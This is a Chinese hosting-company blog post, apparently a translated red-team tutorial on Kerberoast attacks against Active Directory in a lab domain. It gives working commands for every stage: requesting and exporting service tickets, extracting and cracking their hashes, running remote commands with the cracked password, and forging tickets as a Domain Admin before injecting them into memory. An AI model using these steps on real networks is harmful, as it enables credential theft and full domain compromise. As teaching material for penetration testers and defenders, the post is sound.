重庆分公司,新征程启航
为企业提供网站建设、域名注册、服务器等服务
这期内容当中小编将会给大家带来有关如何进行Kerberoast攻击演示,文章内容丰富且以专业的角度为大家分析和叙述,阅读完这篇文章希望大家可以有所收获。
创新互联建站是一家专业提供湘桥企业网站建设,专注与成都做网站、网站制作、成都外贸网站建设、H5网站设计、小程序制作等业务。10年已为湘桥众多企业、政府机构等服务。创新互联专业的建站公司优惠进行中。
简单直白的说Kerberoast攻击,就是攻击者为了获取目标服务的访问权限,而设法破解Kerberos服务票据并重写它们的过程。这是红队当中非常常见的一种攻击手法,因为它不需要与服务目标服务进行任何交互,并且可以使用合法的活动目录访问来请求和导出可以离线破解的服务票据,以获取到最终的明文密码。之所以出现这种情况,是因为服务票据使用服务帐户的散列(NTLM)进行加密,所以任何域用户都可以从服务转储散列,而无需将shell引入运行该服务的系统中。
攻击者通常会选择那些可能设置了弱密,码破解成功率较高的票据来尝试破解。一旦攻击者成功破解出了票据,他们有时不仅仅获取的只是服务访问权限,如果服务被配置为在高权限下运行,那么整个域都将可能被攻击者拿下。这些票据可以通过考虑多种因素来识别,例如:
SPNs绑定到域用户账户
最后一次密码设置(Password last set)
密码过期时间
最后一次登录(Last logon)
具体来说,Kerberoast攻击涉及以下五个步骤:
服务主体名称(SPN)发现
请求服务票据
导出服务票据
破解服务票据
重写服务票据&RAM注入
在服务主体名称(SPN)发现这篇文章中,已经为大家介绍了如何通过查询Active Directory的服务主体名称,来发现网络中服务的方法。
为特定SPN请求服务票据的最简单方法是通过PowerShell,这个方法是Tim Medin在DerbyCon 4.0演讲中介绍的。
Add-Type -AssemblyName System.IdentityModel New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "PENTESTLAB_001/WIN-PTELU2U07KG.PENTESTLAB.LOCAL:80"
执行klist命令将列出所有可用的缓存票据。
klist
请求服务票据的另一种解决方案是通过Mimikatz指定服务主体名称作为目标。
kerberos::ask /target:PENTESTLAB_001/WIN-PTELU2U07KG.PENTESTLAB.LOCAL:80
与klist类似,内存中存在的Kerberos票据列表可以通过Mimikatz来检索。从现有的PowerShell会话中,Invoke-Mimikatz脚本将输出所有票据。
Invoke-Mimikatz -Command '"kerberos::list"'
或者,加载Kiwi模块添加一些额外的Mimikatz命令,它们也可以执行相同的任务。
load kiwi kerberos_ticket_list
还或者可以通过执行一个自定义的Kiwi命令:
kiwi_cmd kerberos::list
Impacket中有一个python模块,它可以请求仅属于域用户的Kerberos服务票据,与计算机帐户服务票据相比应该更易于破解。但是,想要与Active Directory进行交互,需要有效的域凭据,因为它将从不属于域的系统执行。
./GetUserSPNs.py -request pentestlab.local/test
服务帐户哈希也将以John the Ripper格式检索。
使用Matan Hart开发的PowerShell模块可以帮助我们自动识别弱服务票据,该模块是RiskySPN中的一部分。主要作用是对属于用户的可用服务票据执行审计,并根据用户帐户和密码过期时限来查找最容易包含弱密码的票据。
Find-PotentiallyCrackableAccounts -FullData -Verbose
该脚本将提供比klist和Mimikatz更详细的输出,包括组信息,密码有效期和破解窗口。
使用domain参数执行同一模块,将返回所有具有关联服务主体名称的用户帐户。
Find-PotentiallyCrackableAccounts -Domain "pentestlab.local"
服务票据信息也可以以CSV格式导出,以便离线查看。
Export-PotentiallyCrackableAccounts
所有出现在控制台中的票据信息都将被写入文件中。
这里还有一个脚本(相同存储库的一部分),可以通过其SPN为服务实例获取服务票据。
Get-TGSCipher -SPN "PENTESTLAB_001/WIN-PTELU2U07KG.PENTESTLAB.LOCAL:80"
Tim Medin的Kerberoast工具包已实现流程的自动化。Auto-Kerberoast中包含了Tim的原始脚本,其中包含两个可执行各种功能的PowerShell脚本,例如以Base64, John和Hashcat格式列出和导出服务票据等。
List-UserSPNs
还有一个domain参数可以只列出特定域的SPN。
List-UserSPNs -Domain "pentestlab.local"
Mimikatz是可以导出Kerberos服务票据的标准工具。从PowerShell会话中,以下命令将列出内存中的所有可用票据,并将其保存在远程主机中。
Invoke-Mimikatz -Command '"kerberos::list /export"'
同样,PowerShell Empire有一个模块可以自动完成Kerberos服务票据提取任务。
usemodule credentials/mimikatz/extract_tickets
该模块将使用Invoke-Mimikatz函数自动执行以下命令。
standard::base64 kerberos::list /export
支持Kerberos身份验证的服务票据哈希可以直接使用PowerShell Empire模块提取。哈希的格式可以提取为John或Hashcat。
usemodule credentials/invoke_kerberoast
该模块将检索所有服务帐户的密码哈希值。
AutoKerberoast PowerShell脚本将请求并提取base64格式的所有服务票据。
Invoke-AutoKerberoast
AutoKerberoast存储库中还有一个脚本,它将以hashcat兼容格式显示提取的票据。
属于特定域的提升组的票据也可以提取用于更具针对性的Kerberoasting。
Invoke-AutoKerberoast -GroupName "Domain Admins" -Domain pentestlab.local -HashFormat John
Matan Hart开发的Get-TGSCipher PowerShell模块,可以以三种不同的格式提取服务票据的密码哈希值:John,Hashcat和Kerberoast。可以在SPN发现过程中检索脚本所需的关联服务的服务主体名称。
Get-TGSCipher -SPN "PENTESTLAB_001/WIN-PTELU2U07KG.PENTESTLAB.LOCAL:80" -Format John TGSCipher - Service Ticket Hash
使用Get-TGSCipher函数的好处是,无需使用Mimikatz导出票据,这可以大大降低警报的触发,以及省去将票据转换为john格式的步骤。
python脚本tgsrepcrack是Tim Medin Kerberoast工具包的一部分,可以通过提供的密码列表来破解Kerberos票据。
python tgsrepcrack.py /root/Desktop/passwords.txt PENTESTLAB_001.kirbi
Lee Christensen开发了一个名为extractServiceTicketParts的python脚本,它可以为我们提取服务票据的哈希值,以及一款Go语言编写的哈希破解器tgscrack ,两者可以配合使用。
python extractServiceTicketParts.py PENTESTLAB_001.kirbi
tgscrack需要我们为其指定哈希文件以及字典文件的本地存放路径。
tgscrack.exe -hashfile hash.txt -wordlist passwords.txt
密码将以明文显示。
如果PowerShell remoting已启用,则可以使用从服务票据中检索的密码执行远程命令等操作。
Enable-PSRemoting $pass = 'Password123' | ConvertTo-SecureString -AsPlainText -Force $creds = New-Object System.Management.Automation.PSCredential -ArgumentList 'PENTESTLAB_001', $pass Invoke-Command -ScriptBlock {get-process} -ComputerName WIN-PTELU2U07KG.PENTESTLAB.LOCAL -Credential $creds
正在运行的进程列表将被检索
Kerberos票据使用密码的NTLM哈希签名。如果票据散列已被破解,那么可以使用Kerberoast python脚本重写票据。这将允许在服务将被访问时模拟任何域用户或伪造账户。此外,提权也是可能的,因为用户可以被添加到诸如域管理员的高权限组中。
python kerberoast.py -p Password123 -r PENTESTLAB_001.kirbi -w PENTESTLAB.kirbi -u 500 python kerberoast.py -p Password123 -r PENTESTLAB_001.kirbi -w PENTESTLAB.kirbi -g 512
使用以下Mimikatz命令将新票据重新注入内存,以便通过Kerberos协议对目标服务执行身份验证。
kerberos::ptt PENTESTLAB.kirbi
上述就是小编为大家分享的如何进行Kerberoast攻击演示了,如果刚好有类似的疑惑,不妨参照上述分析进行理解。如果想知道更多相关知识,欢迎关注创新互联行业资讯频道。